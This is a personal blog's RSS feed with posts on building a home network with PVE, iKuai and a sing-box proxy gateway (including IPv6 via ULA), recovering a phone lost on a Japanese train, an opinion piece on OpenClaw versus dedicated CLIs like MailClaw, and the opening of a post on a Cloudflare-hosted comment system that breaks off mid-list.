<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Vincent&apos;s Notes</title><description>Full-stack engineer building AI products. Notes on AI, networking, infrastructure, and travel.</description><link>https://missuo.me/</link><item><title>Tinkering with Home Network: N100 + PVE + iKuai + sing-box</title><link>https://missuo.me/posts/home-network-n100-sing-box/</link><guid isPermaLink="true">https://missuo.me/posts/home-network-n100-sing-box/</guid><description>Notes on building a home network around an N100 mini PC running PVE 9.0 with iKuai as the main router and Debian 13 as a sing-box side gateway. Covers port assignment tricks for PVE management access, choosing sing-box over dae due to Shadowsocks 2022 support, bringing IPv6 to the LAN via ULA + radvd when the ISP has no v6 uplink, and fixing the Happy Eyeballs stall on domestic apps by forcing the direct outbound to ipv4_only.</description><pubDate>Tue, 21 Apr 2026 03:00:19 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;最近搬了新家，顺手开了一条 2000M 的宽带，家里的网络设备也正好趁这个机会重新折腾一遍。这篇就当是一次记录，也顺便给以后留个备忘。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;为什么没用 BE7200 当主路由&lt;/h2&gt;
&lt;p&gt;一开始为了省事，我先买了一台 TP-LINK 的 Wi-Fi 7 路由器 BE7200，四个 2.5G 口加四个 1G 口。单看硬件规格其实挺能打，拨号、测速都没什么问题，2000M 的带宽基本也能跑满。&lt;/p&gt;
&lt;p&gt;但系统功能就不太够了。我想要的是一个「能自己折腾」的主路由：能自动分流，能屏蔽一些广告和追踪域名，最好还能把代理直接放到网关上，LAN 里的设备不用单独配置就能自动分流。TP-LINK 的固件明显还是面向普通用户的，这些需求基本没法满足。&lt;/p&gt;
&lt;h2&gt;架构：N100 + PVE + iKuai + Debian&lt;/h2&gt;
&lt;p&gt;正好手头还有一台几年前买的 N100 小主机，四口 2.5G，拿来跑软路由绰绰有余。最后定下来的架构是这样：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;底层装 &lt;strong&gt;PVE 9.0&lt;/strong&gt; 作为虚拟化平台；&lt;/li&gt;
&lt;li&gt;虚拟机 1：&lt;strong&gt;iKuai&lt;/strong&gt;，负责 PPPoE 拨号、DHCP Server、NAT；&lt;/li&gt;
&lt;li&gt;虚拟机 2：&lt;strong&gt;Debian 13&lt;/strong&gt;，跑 sing-box 作为旁路由网关，负责透明代理和分流。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样拆开之后，职责会比较清楚：iKuai 只负责「稳定的基础网络」，Debian 负责「很可能被我反复改配置」的代理部分。就算哪天代理被我搞挂了，把 Debian 关掉，家里的基础网络也还能照常用。&lt;/p&gt;
&lt;h2&gt;网口分配与 PVE 管理口的小技巧&lt;/h2&gt;
&lt;p&gt;N100 的四个 2.5G 网口分别是 ETH0 到 ETH3。分配方案是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ETH0&lt;/strong&gt;：留给 PVE 管理；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ETH1、ETH2、ETH3&lt;/strong&gt;：全部通过 PCI passthrough 直通给 iKuai，其中 ETH1 作 WAN，ETH2/ETH3 作 LAN。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这么做马上会遇到一个问题：iKuai 独占这三个口之后，PVE 的管理口 ETH0 和 iKuai 的 LAN 在物理上就是隔开的。即使两边都配在 &lt;code&gt;10.10.10.0/24&lt;/code&gt; 这个网段里，也还是互相访问不了。总不能再浪费一个口，专门把 ETH0 接回 LAN 吧。&lt;/p&gt;
&lt;p&gt;解决办法其实也简单：在 PVE 里给 iKuai 虚拟机额外挂一张 &lt;strong&gt;虚拟网卡&lt;/strong&gt;（virtio net），然后在 iKuai 里把这张虚拟网卡和 LAN 口桥接起来。这样相当于在 iKuai 内部搭了一座桥，PVE 的管理网络就能通过这张虚拟网卡接到 LAN 里。ETH0 这个物理口反而可以完全空着，数据只走虚拟网卡。&lt;/p&gt;
&lt;p&gt;配完之后，所有端口协商都在 2.5G，基础网络这一层就算理顺了。&lt;/p&gt;
&lt;h2&gt;Debian 侧：从 Surge 到 dae 再到 sing-box&lt;/h2&gt;
&lt;p&gt;旁路由这边，我花的时间就多一些。&lt;/p&gt;
&lt;p&gt;最想用的其实是 &lt;strong&gt;Surge VM Gateway&lt;/strong&gt;。规则语法熟，日常 Mac 上也一直在用。但现在手头已经没有闲置的 Mac mini 可以拿来当网关了（一台在日本，另一台在另一个家里），所以只能看 Linux 方案。&lt;/p&gt;
&lt;p&gt;第二选择是 &lt;a href=&quot;https://github.com/daeuniverse/dae&quot;&gt;dae&lt;/a&gt;。dae 的设计很简洁，基于 eBPF，功能不多但刚好够用，本来挺合我胃口。结果试了一下发现它不支持 &lt;strong&gt;Shadowsocks 2022&lt;/strong&gt;，而我用的大部分都是 ss2022 和 snell，没办法，只能放弃。&lt;/p&gt;
&lt;p&gt;最后还是落到了 &lt;a href=&quot;https://github.com/SagerNet/sing-box&quot;&gt;sing-box&lt;/a&gt; 上。sing-box 的协议支持很全，但配置复杂度也确实有名，官方文档又分散在一堆子页面里，手写 JSON 会很费劲。我比较懒，直接把 ssh 交给 Claude Code（Opus 4.7），再把我 Surge 的 conf 文件丢过去，让它参考里面的分流规则，直接生成并部署 sing-box 配置。效率确实高了很多。&lt;/p&gt;
&lt;h2&gt;IPv6 踩坑：为什么要造一个 ULA 前缀&lt;/h2&gt;
&lt;p&gt;配完之后，v4 用起来没问题，但 v6 开始有点意思了。&lt;/p&gt;
&lt;p&gt;先说下背景。我的代理节点是有 global v6 的，宿主机走代理 &lt;code&gt;curl -6 ip.sb&lt;/code&gt; 也能正常返回 node 的 v6 地址。但是 LAN 里的客户端（手机、Mac）拿到的 v6 只有 link-local &lt;code&gt;fe80::&lt;/code&gt;，基本等于没有可用的 v6 地址，自然也发不出 v6 流量。&lt;/p&gt;
&lt;p&gt;原因是 &lt;strong&gt;iKuai 这边没有 v6 上行&lt;/strong&gt;，也没有从上游拿到任何可以下发给 LAN 的 v6 前缀。那这种情况下，要怎么让客户端「用上 v6」？&lt;/p&gt;
&lt;p&gt;答案是：&lt;strong&gt;自己在 LAN 里造一个 v6 前缀&lt;/strong&gt;。具体做法是在 Debian 上用 &lt;a href=&quot;https://github.com/reubenhwk/radvd&quot;&gt;radvd&lt;/a&gt; 广播一个 &lt;strong&gt;ULA（Unique Local Address）&lt;/strong&gt; 前缀 &lt;code&gt;fd00:dae::/64&lt;/code&gt;，让 LAN 客户端通过 SLAAC 自动配出一个 ULA 地址。&lt;/p&gt;
&lt;p&gt;这里的关键是：ULA 在 v6 里有点像 v4 的 &lt;code&gt;10.0.0.0/8&lt;/code&gt; 这种私有地址段，不能直接出公网。但我并不需要 ULA 真的能跨运营商路由出去。客户端发出的 v6 流量会被 sing-box 的 TUN 截获，最后通过 &lt;strong&gt;proxy node 的 global v6 出境&lt;/strong&gt;。外面看到的源地址是 node 的 IP，不会看到 LAN 里的 ULA。对我这套环境来说，ULA 更像是一张 v6 世界里的「临时发车牌照」：先让客户端愿意生成 v6 流量，后面再交给 sing-box 送到真正有 v6 的出口。&lt;/p&gt;
&lt;p&gt;除此之外 Debian 侧还要做几件事才能让这套跑起来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;net.ipv4.ip_forward=1&lt;/code&gt;、&lt;code&gt;net.ipv6.conf.all.forwarding=1&lt;/code&gt;、&lt;code&gt;net.ipv6.conf.ens18.forwarding=1&lt;/code&gt;（radvd 启动时会专门检查接口级别的 forwarding）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;send_redirects=0&lt;/code&gt;：不然 kernel 会发 ICMP Redirect，告诉客户端「直接找 10.10.10.1 更快」，客户端就会绕过旁路由；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;iptables FORWARD&lt;/code&gt; 放行 tun0 的入和出：Docker 会把 FORWARD 默认策略改成 DROP，导致 UDP / ICMP 在 &lt;code&gt;ens18 → tun0&lt;/code&gt; 这条路径上被丢掉，TCP 反倒没事（因为走的是 REDIRECT 转本地，不走 FORWARD）；&lt;/li&gt;
&lt;li&gt;给 ens18 挂上 &lt;code&gt;fd00:dae::1/64&lt;/code&gt; 的静态地址：sing-box 的 &lt;code&gt;auto_redirect&lt;/code&gt; 是从接口上读 v6 前缀加进 nftables 的 &lt;code&gt;inet6_local_address_set&lt;/code&gt; 的，没有这个地址，LAN 前缀就不会进 set，v6 转发规则全部失效（参见 sing-box &lt;a href=&quot;https://github.com/SagerNet/sing-box/issues/3698&quot;&gt;issue #3698&lt;/a&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Happy Eyeballs 的奇怪现象&lt;/h2&gt;
&lt;p&gt;v6 通了之后，又遇到一个挺微妙的问题：&lt;strong&gt;打开国内一些 App（微信、抖音、小红书之类）的时候，经常要点好几次内容才加载出来&lt;/strong&gt;。网页和国际 App 倒是完全没问题。&lt;/p&gt;
&lt;p&gt;排查了一圈，原因是这样的：&lt;/p&gt;
&lt;p&gt;TUN + radvd 让 LAN 客户端拿到了 v6 地址，所以客户端发起新连接时会做 &lt;strong&gt;Happy Eyeballs&lt;/strong&gt;：同时试 v4 和 v6 两条路径，哪条先连上就用哪条。&lt;/p&gt;
&lt;p&gt;国内大厂的 API 域名现在基本都有 AAAA 记录（腾讯、阿里、字节都在上 v6），但它们的 v6 CDN 通常只在国内 ISP 的 v6 链路上好用，也就是得从运营商的 v6 线路直连过去。&lt;/p&gt;
&lt;p&gt;而我这边的出口情况是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代理走 v6&lt;/strong&gt;：proxy node 在海外，有 global v6，能连上国内站点的 v6，但路径绕了一大圈，延迟很高；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;直连走 v6&lt;/strong&gt;：Debian 的 direct outbound 走 ens18，ens18 只有 link-local v6，宿主机的 v6 主路由表里根本没有 default v6（default v6 被 sing-box TUN 接管了，放在 table 2022 给代理用），直连 v6 包发不出去，最后只能超时。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;按照我的分流规则，国内 App 的 API 命中 &lt;code&gt;geosite-cn&lt;/code&gt; → 走 direct → 客户端先试 v6 → 超时（默认 250ms 到 2s）→ Happy Eyeballs 回退 v4 → 成功。于是第一次连接会卡一下，再加上 App 自己的重试 / 缓存逻辑把这个体感放大了，看起来就像是「点一下没反应，再点一下才行」。&lt;/p&gt;
&lt;p&gt;国际站不受影响，是因为它们命中 proxy 规则，代理节点有真 v6，直接就通了。&lt;/p&gt;
&lt;h3&gt;解法：direct outbound 强制 ipv4_only&lt;/h3&gt;
&lt;p&gt;解决也很小，只要给 sing-box 的 direct outbound 加一个 &lt;code&gt;ipv4_only&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;命中 direct 的流量只拿 A 记录，客户端只走 v4，不再先试一条注定会超时的 v6；&lt;/li&gt;
&lt;li&gt;代理出口（proxy / ai-vless）继续保留 v6 能力，node 有 v6，外部 v6 站照样快；&lt;/li&gt;
&lt;li&gt;国内 v6 原本就跑不通，这个限制等于&lt;strong&gt;把一个坏选项直接从菜单里删掉&lt;/strong&gt;，不用再浪费 2 秒等它失败。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配完之后，国内 App 的点按体感马上就正常了。&lt;/p&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;整套架构跑下来，主路由 iKuai 管稳定，旁路由 Debian 管分流，管理面板用 metacubexd，v4/v6 都能用，家里每台设备不用单独配置就能自动走分流。相比之前一台 BE7200 裸拨号的方案，可玩性和可控性确实高了不少。&lt;/p&gt;
&lt;p&gt;唯一比较「耗心力」的是 v6 这一块，踩了好几个坑才理清：「LAN 要有 v6 地址，客户端才会发 v6」「ULA 不是为了出公网，而是为了让客户端愿意生成 v6 流量」「direct 出口没 v6，但客户端有 v6，就会触发 Happy Eyeballs 回退」。这些点想明白之后，以后再配类似环境应该会轻松很多。&lt;/p&gt;
&lt;p&gt;接下来还有几件事想慢慢补上：先把分流规则再细一点，尤其是国内 App、AI 服务、流媒体这些容易走错出口的场景；再加上 DDNS，方便在外面稳定访问家里的入口；最后把 Tailscale 也配起来，之后人在外面排查网络或者访问家里服务会省事很多。&lt;/p&gt;
&lt;p&gt;AP 也想换掉。现在 BE7200 在这套架构里只是当 AP 用，感觉有点大材小用。也许换成小一点的 Wi-Fi 7 AP 就够用了。&lt;/p&gt;
</content:encoded></item><item><title>I Got My Lost Phone Back in Japan</title><link>https://missuo.me/posts/lost-my-phone-in-japan/</link><guid isPermaLink="true">https://missuo.me/posts/lost-my-phone-in-japan/</guid><description>A firsthand account of leaving a backup phone on a train during a trip from 新潟 to 酒田 and back to 東京, then recovering it through JR East&apos;s Lost and Found Office with no extra transport cost thanks to a 5-day JR EAST PASS.</description><pubDate>Sun, 05 Apr 2026 03:37:18 GMT</pubDate><content:encoded>&lt;p&gt;这一次我从新潟搭「海里」去酒田，抵达酒田之后，再搭特急列车回新潟，最终赶回東京。结果特急列车和回東京的新幹線换乘时间比较短，当时也急着回東京，备用机就忘在了前排座椅靠背后的置物袋里。等新幹線已经从新潟出发了，我都还没意识到，直到突然弹出一条 Find My 通知，我才想起来手机没拿。于是马上就在下一站長岡下车，再搭新幹線回新潟。因为这次旅行买的是五天的 JR EAST PASS，所以这样来来回回折返，全程都没有任何额外费用，全部包含在 PASS 里。和朋友商量后，我们决定先在長岡站的 Lost and Found Office 登记一下，好让新潟那边的工作人员留意。全程工作人员态度都特别好，也帮忙打电话联系，说手机应该没有丢，只是那趟车现在已经回车库了，所以今天可能拿不到。对方让我们先回東京，等后天再过来取，或者直接帮我寄到新宿。因为我是后天傍晚的航班离开日本，宅急便意味着我离开之前拿不到手机。后来我们还是决定坐新幹線回新潟，在路上的时候，大概还不到一个小时，長岡站的工作人员就打电话联系我们了，说手机已经找到了，让我后天下午两点准时去取就行。到了新潟站之后，我们又去了 Lost and Found Office。工作人员立刻意识到这就是刚刚打电话说过的那部手机，对应的登记单也已经提前打印好了。那张纸上有各种情况说明，以及车库那边拍摄的我手机正反面的照片。那时候我就很放心了。朋友帮我和他们沟通了一下，结论还是今天拿不到。我们说自己打车去车库，他们说没有人可以进车库，他们的工作人员也进不去，只能等后天车库那边把手机通过宅急便送到车站。他还说快递员一般 12 点左右就会开始送货，所以下午 2 点我再去取就可以了。即使车库离车站只有 2 英里左右，我也尊重他们的规定，毕竟是他们在免费帮我找回我自己粗心落下的物品。&lt;/p&gt;
&lt;p&gt;今天早上我又搭新幹線从東京来新潟。一路上我时不时就在看 Find My，一直关注手机到哪里了。我发现今天早上的时候，定位就已经出现在邮局了，基本上就说明今天稳稳会送到。在我还在路上的时候，我又看到快递员已经到车站附近了。等我 11:29 AM 到达新潟的时候，手机定位已经在车站了。我走到 Lost and Found Office 的时候，设备甚至已经显示 With You 了。还好我的手机没有开蜂窝，耗电很少，所以这几天都还能通过附近的 iPhone 获取定位，类似 AirTag，这也许就是 Apple 很强大的功能之一。&lt;/p&gt;
&lt;p&gt;在 Lost and Found Office 排了一会队之后，我签了一份领取文件，工作人员从密封袋里拿出手机，让我检查是否完好，然后让我当场解锁手机、出示证件，流程就完成了。总体体验还是相当丝滑。我人生中第一次把手机落下，没想到是在日本，但也很幸运是在日本。就像朋友跟我说的，你不用担心，一定不会丢。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://r2.uid.ac/blog/20260405roGyUQ.PNG&quot; alt=&quot;Lost and Found Office receipt&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Is OpenClaw Better for Developers or Non-Technical Users?</title><link>https://missuo.me/posts/openclaw-for-developer/</link><guid isPermaLink="true">https://missuo.me/posts/openclaw-for-developer/</guid><description>A Chinese opinion piece arguing that OpenClaw is better suited to non-developers than developers, because Skills can never cover every workflow and browser-driven automation burns tokens. The article uses MailClaw as a counterexample to show why dedicated APIs and CLIs are often a better fit for developer workflows.</description><pubDate>Fri, 13 Mar 2026 10:44:53 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;本文仅代表个人观点浅谈 OpenClaw&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我并不是在否定 OpenClaw 的价值。相反，我觉得它很有意思，也确实能解决一部分真实需求。但如果问题是“它更适合谁”，我的答案很明确：&lt;strong&gt;它更适合小白用户，而不是开发者。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;很多人讨论 Agent 产品时，习惯把“能不能做事”和“适不适合我”混在一起。OpenClaw 当然能做事，这点没有问题。问题在于，它完成任务的方式，决定了它更像是一个降低门槛的消费级入口，而不是一个让开发者长期依赖的高效工作流系统。&lt;/p&gt;
&lt;p&gt;对小白用户来说，OpenClaw 的价值非常直接。用户不用写代码，不用自己搭工具，只需要把任务说出来，系统就会尽量去完成。哪怕过程不够优雅，哪怕中间有些试探和冗余，只要最后能把事情做完，它就已经创造了价值。&lt;/p&gt;
&lt;p&gt;但开发者看问题通常完全不一样。开发者会本能地问几个更现实的问题：这个流程稳定吗？能重复吗？值得长期跑吗？是不是每次都要重新消耗大量 Token 才能完成？如果一个系统的能力很难沉淀、很难复用、很难控制成本，那么它对开发者的吸引力就会迅速下降。&lt;/p&gt;
&lt;h2&gt;OpenClaw 的“智力”，本质上还是模型的智力&lt;/h2&gt;
&lt;p&gt;我觉得很多人会高估 OpenClaw 自身的“智力”。它当然有自己的工程价值，比如调度、交互、工具编排、上下文组织，但真正决定上限的，通常还是底层模型本身。&lt;/p&gt;
&lt;p&gt;换句话说，OpenClaw 聪不聪明，很多时候并不是 OpenClaw 决定的，而是你给它接了什么模型决定的。模型越强，它看起来越聪明；模型越弱，它的表现就越容易不稳定。&lt;/p&gt;
&lt;p&gt;而这会直接引出一个现实问题：&lt;strong&gt;好的模型往往特别贵。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;至少在 &lt;strong&gt;2026 年第一季度&lt;/strong&gt; 这个阶段，我并不认为我们已经进入了一个可以完全忽略 Token 成本的时代。高质量模型依然很贵，长上下文依然很贵，频繁调用依然很贵。OpenClaw 这类产品又不是一次调用就结束，它往往要持续观察、持续判断、持续规划、持续执行。每多一步，都意味着更多 Token 消耗；如果还夹杂网页浏览、截图理解、页面状态判断和失败重试，成本会被进一步放大。&lt;/p&gt;
&lt;p&gt;更关键的是，&lt;strong&gt;大量消耗 Token 也不一定能解决问题&lt;/strong&gt;。模型更贵，不代表任务就一定更稳定；上下文更长，也不代表它一定更理解网页现在到底发生了什么。很多时候它只是花了更多钱，在一个缺少结构化接口的环境里反复试错。&lt;/p&gt;
&lt;p&gt;这也是为什么我一直觉得，至少在当前阶段，开发者不可能完全不考虑 Agent 的成本结构。未来当然可能不一样，也许 Token 会便宜到几乎可以忽略不计。但至少今天，尤其是在 2026 Q1，这还不是现实。&lt;/p&gt;
&lt;h2&gt;OpenClaw 的初衷，不应该是替代搜索框&lt;/h2&gt;
&lt;p&gt;我现在很明确的一点是，OpenClaw 不应该被当成“什么问题都值得调用一次”的万能入口。&lt;/p&gt;
&lt;p&gt;如果你只是想问一句：“现在 New York 的天气怎么样？”那在我看来，这类任务交给 OpenClaw 几乎没有意义。更直接的方法显然是打开 Google 搜索，或者直接看天气 App。这个问题既不复杂，也不需要多步骤执行，更不需要 Agent 去规划、调用工具、理解上下文。&lt;/p&gt;
&lt;p&gt;所以我认为，OpenClaw 的初衷本来就不应该是替代搜索框。它真正应该发挥价值的地方，是那些需要多个步骤、多个工具、多个状态切换的复杂任务。比如跨几个系统整理信息，根据中间结果继续决策，在一组受限工具之间完成完整流程。这类任务才是 Agent 的主场。&lt;/p&gt;
&lt;p&gt;如果只是把它用来回答一些原本一秒钟就能搜索得到答案的问题，那不仅没有发挥出 Agent 的优势，反而会放大它在成本、延迟和执行冗余上的问题。&lt;/p&gt;
&lt;h2&gt;Skills 很重要，但永远不可能完整&lt;/h2&gt;
&lt;p&gt;OpenClaw 里我最认同的一部分，其实就是 &lt;code&gt;Skills&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;没有 &lt;code&gt;Skills&lt;/code&gt; 的 Agent，很多时候只是一个会读页面、会操作浏览器、会尝试点击按钮的模型外壳。它也许能完成任务，但过程通常成本高、不稳定，而且对上下文极度依赖。&lt;code&gt;Skills&lt;/code&gt; 的价值就在于，把一部分高频能力封装起来，让 Agent 不用每次都重新猜。&lt;/p&gt;
&lt;p&gt;但问题也非常明显：&lt;code&gt;Skills&lt;/code&gt; 再重要，也不可能完整。&lt;/p&gt;
&lt;p&gt;真实世界的工作流是不断变化的。今天你要处理邮件，明天你要筛选简历，后天你又可能要同步 Notion、发 Slack、监控小红书、抓取某个内部后台。只要场景在变，新的能力封装就会一直出现。你不可能指望一个技能仓库在某一天突然“完整”。&lt;/p&gt;
&lt;p&gt;而这里就出现了一个很现实的矛盾：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenClaw 很适合不写代码的小白用户。&lt;/li&gt;
&lt;li&gt;但它的体验上限，又高度依赖开发者持续补齐 &lt;code&gt;Skills&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，小白用户是受益者，开发者却往往是那个需要不断填坑、不断补工具的人。&lt;/p&gt;
&lt;p&gt;从这个角度说，OpenClaw 更像一个把复杂性转移给开发者、再把便利性交给普通用户的系统。它不是没有价值，但它的价值分配，本身就是偏向非开发者的。&lt;/p&gt;
&lt;h2&gt;浏览器自动化能工作，但不是开发者最优解&lt;/h2&gt;
&lt;p&gt;很多 Agent 产品喜欢展示浏览器自动化，因为它很直观，也很像“人类在操作电脑”。模型打开网页、截图、识别界面、判断应该点击哪里，然后一步步往下走。这个演示通常很好看。&lt;/p&gt;
&lt;p&gt;问题是，好看不等于高效。&lt;/p&gt;
&lt;p&gt;比如你让 OpenClaw 去监控小红书的帖子，如果平台没有公开 API，那么它大概率只能通过访问网页、不断截图、判断页面状态、决定下一步点哪里，最后再把结果返回给你。&lt;/p&gt;
&lt;p&gt;这种方式的问题并不是“做不到”，而是它在工程上很不经济：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每一步都在消耗 Token。&lt;/li&gt;
&lt;li&gt;每一步都依赖页面当前结构。&lt;/li&gt;
&lt;li&gt;页面一改版，流程就可能失效。&lt;/li&gt;
&lt;li&gt;任务频率越高，成本越高。&lt;/li&gt;
&lt;li&gt;即使消耗了大量 Token，也未必能稳定完成任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;开发者对这种模式通常会天然不耐烦。因为这本质上是在用模型推理去弥补工程接口的缺失。如果一个任务需要靠模型反复截图、反复理解、反复尝试，才能勉强做完，那它多半不是一个好的长期解法。&lt;/p&gt;
&lt;p&gt;一次性的任务也许还能接受，但如果这是一个长期、重复、每天都要跑的任务，开发者首先想到的通常不会是“让 Agent 每天重新看图和思考”，而是“我要不要直接为这个场景做一个专门的工具”。&lt;/p&gt;
&lt;h2&gt;MailClaw 是一个相反的例子&lt;/h2&gt;
&lt;p&gt;我自己做 &lt;code&gt;MailClaw&lt;/code&gt;，其实就是在解决同一类问题：如果一个 Agent 需要处理邮件，最优解到底是什么？&lt;/p&gt;
&lt;p&gt;如果走浏览器路线，Agent 当然可以登录网页邮箱，搜索邮件、阅读邮件、筛选发件人、导出内容，甚至模拟点击删除。但这个方案太重了，也太浪费。&lt;/p&gt;
&lt;p&gt;所以在 &lt;code&gt;MailClaw&lt;/code&gt; 里，我选择的是另一条路：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 Cloudflare Email Routing 接收域名下所有邮件。&lt;/li&gt;
&lt;li&gt;用 Cloudflare Workers 处理邮件解析。&lt;/li&gt;
&lt;li&gt;用 D1 存储邮件内容与索引。&lt;/li&gt;
&lt;li&gt;提供 Bearer Token 保护的 REST API。&lt;/li&gt;
&lt;li&gt;再额外提供一个跨平台的 &lt;code&gt;mailclaw&lt;/code&gt; CLI，支持 macOS、Linux、Windows。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样一来，Agent 如果要“读邮件”，就不需要打开浏览器，不需要截图，不需要观察网页结构，也不需要一边看页面一边决定下一步该怎么点。它只需要执行类似下面的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mailclaw list --q partnership --json
mailclaw get clx123abc --json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者直接调用 API：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /api/emails
GET /api/emails/export
GET /api/emails/:id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从 Agent 的角度看，这种设计的优势非常明显：输入更结构化，输出更结构化，速度更快，成本更低，可重复性更强，权限控制也更清晰。&lt;/p&gt;
&lt;p&gt;这也是为什么我后来在 &lt;code&gt;MailClaw&lt;/code&gt; 的 Skill 设计里，刻意让 Skill 去调用本地 CLI，而不是让它直接拿浏览器或者 &lt;code&gt;curl&lt;/code&gt; 到处拼请求。因为在我看来，&lt;strong&gt;Skill 最好的角色不是替代工具，而是成为工具的入口。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;前者意味着你把复杂能力堆进 Skill 里，让模型现场发挥；后者意味着你先把真正稳定的能力做成 API、CLI 或服务，再让 Skill 去发现、调用和编排。对开发者来说，显然后者更可靠，也更经济。&lt;/p&gt;
&lt;h2&gt;开发者真正需要的，是工具层而不是幻觉式自动化&lt;/h2&gt;
&lt;p&gt;这也是我对 OpenClaw 最核心的看法：它的问题不在于 Agent 不够聪明，而在于很多场景下，它缺少一个足够强、足够低成本、足够结构化的工具层。&lt;/p&gt;
&lt;p&gt;如果工具层不存在，OpenClaw 就只能退回到“看页面、猜页面、操作页面”的通用模式。这个模式当然灵活，但它也意味着高 Token 消耗、高不确定性，以及很差的工程沉淀效率。你当然可以不断换更强的模型、接受更高的账单，但结果未必线性变好。因为真正的问题未必是“模型不够聪明”，而可能是“任务根本没有被工具化”。&lt;/p&gt;
&lt;p&gt;开发者通常会更愿意做这些事情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为高频任务写一个 CLI。&lt;/li&gt;
&lt;li&gt;为内部流程做一个 API。&lt;/li&gt;
&lt;li&gt;为第三方服务做一个适配层。&lt;/li&gt;
&lt;li&gt;把 Agent 放在调用和编排的位置，而不是放在执行细节的第一线。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从这个意义上说，OpenClaw 对开发者当然不是完全没用。它仍然可以是一个不错的交互层、调度层，甚至是原型验证工具。你可以先让 Agent 帮你跑通一个流程，再观察哪些地方值得被固化成真正的程序。&lt;/p&gt;
&lt;p&gt;但如果一个开发者长期依赖 OpenClaw 去做所有事情，而不是把高频能力沉淀成工具，那么最后很可能得到的是一个“看起来什么都能做，实际上哪里都不够经济”的系统。&lt;/p&gt;
&lt;h2&gt;我的结论&lt;/h2&gt;
&lt;p&gt;所以我的观点还是那句：&lt;strong&gt;OpenClaw 更适合小白用户，而不是开发者。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对小白用户来说，它最大的价值是降低门槛。哪怕背后过程不够优雅，只要能把事情做完，就是价值。&lt;/p&gt;
&lt;p&gt;但对开发者来说，OpenClaw 更适合扮演“外层入口”，而不是“最终执行层”。开发者真正应该投入精力的，不是让 Agent 在浏览器里多走几步，而是尽快把高频场景抽象成稳定的 API、CLI 或服务。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Skills&lt;/code&gt; 很重要，但它不应该是能力本身。它更像是能力的索引、说明书和调度接口。真正决定效率上限的，仍然是你背后有没有一个足够好的工具系统。&lt;/p&gt;
&lt;p&gt;未来也许会不一样。也许有一天，Token 会便宜到几乎可以忽略不计，浏览器式 Agent 的高消耗不再值得在意。到了那个时候，也许今天很多批评都会失效。&lt;/p&gt;
&lt;p&gt;但至少在 &lt;strong&gt;2026 年第一季度&lt;/strong&gt;，我不认为现实已经走到那一步。今天的开发者仍然需要在效果、稳定性、速度和成本之间做平衡。而在这个平衡里，盲目消耗更多 Token，通常不是最优解。&lt;/p&gt;
&lt;p&gt;对于开发者来说，这部分 Token 预算，很多时候已经足够拿来创造一个全新的工具了。&lt;/p&gt;
</content:encoded></item><item><title>Building a Cloudflare-Native Comment System for Hugo</title><link>https://missuo.me/posts/comment-system/</link><guid isPermaLink="true">https://missuo.me/posts/comment-system/</guid><description>I migrated my blog comments from Artalk to a custom Cloudflare-native stack using Workers, D1, and Telegram moderation, and now my entire blog infrastructure runs on Cloudflare.</description><pubDate>Sun, 01 Mar 2026 20:22:30 GMT</pubDate><content:encoded>&lt;p&gt;I finally replaced my old comment setup and moved everything to a new system built by myself.&lt;/p&gt;
&lt;p&gt;The result is simple: my blog is now fully running on Cloudflare.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static site: Hugo on Cloudflare Pages&lt;/li&gt;
&lt;li&gt;Image storage: Cloudflare R2&lt;/li&gt;
&lt;li&gt;CDN: Cloudflare&lt;/li&gt;
&lt;li&gt;Comment backend: Cloudflare Workers + D1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This post explains why I migrated from Artalk, what I built, and how the migration worked.&lt;/p&gt;
&lt;h2&gt;Why I Migrated from Artalk&lt;/h2&gt;
&lt;p&gt;Artalk is a great project, and it worked well for me for a long time. I used it as a reference while redesigning my own system.&lt;/p&gt;
&lt;p&gt;But I wanted tighter control over:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;data model and moderation flow&lt;/li&gt;
&lt;li&gt;deployment and operations&lt;/li&gt;
&lt;li&gt;integration with my own blog frontend&lt;/li&gt;
